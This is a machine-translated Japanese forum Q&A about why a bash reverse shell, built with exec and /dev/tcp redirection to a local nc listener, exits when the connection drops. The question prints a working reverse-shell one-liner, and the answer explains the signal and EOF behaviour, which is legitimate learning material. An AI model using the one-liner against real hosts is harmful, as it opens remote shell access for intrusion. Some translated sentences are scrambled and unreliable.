「exec」を使用してすべてのデフォルトのファイル記述子をリダイレクトすると、どちらが接続を閉じたかに応じてプログラムが存在した後にシェルが終了しますか?

「exec」を使用してすべてのデフォルトのファイル記述子をリダイレクトすると、どちらが接続を閉じたかに応じてプログラムが存在した後にシェルが終了しますか?

Bashさまざまなリダイレクション演算子を使用してリバースシェルを作成し、スキルを練習してきました。

ncリスナーを設定した後:

nc -lvp 4444

次のコマンドを実行します。

0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

私が説明できないのは、/bin/sh接続が切断された後にシェルが終了する理由です。ただし、nc? を押してシェルの接続を解除する場合にのみ該当します。シェルが切断された場合、シェル^Cに入力するとシェルに改行文字が表示されますか?/bin/sh^C/bin/shnc

答え1

0<&116-;

エラーを発生させることに加えて、これが何を達成するかはわかりません(fd 116がすでに開いていない限り、この場合は何もしません)。

読者を混乱させますか?

exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

現在のシェルのstdin、stdout、stderrをソケットを介してリスナーにリダイレクトしても、nc現在の端末はまだ制御端子シェル。

現在の端末の^ Cはaをフォアグラウンドジョブとして送信しますSIGINT。これは(他のコマンドを待たない場合)シェル自体です。インタラクティブSIGINT、キャプチャ後、プロンプトをキャプチャして再印刷します。

他の端末(nc -l ..実行中でシェルが入力を受け取り、出力を印刷する端末)の^ Cは、すべての接続を終了して閉じて、標準入力のためにシェルがnc終了するようにします。EOF

/bin/sh同様に、追加料金が何を提供すべきかは不明です。親エントリ(接続が失われた場合)からEOFstdinまたはSIGPIPE/stdoutを継承したため、すぐに終了します。EPIPEnc

関連情報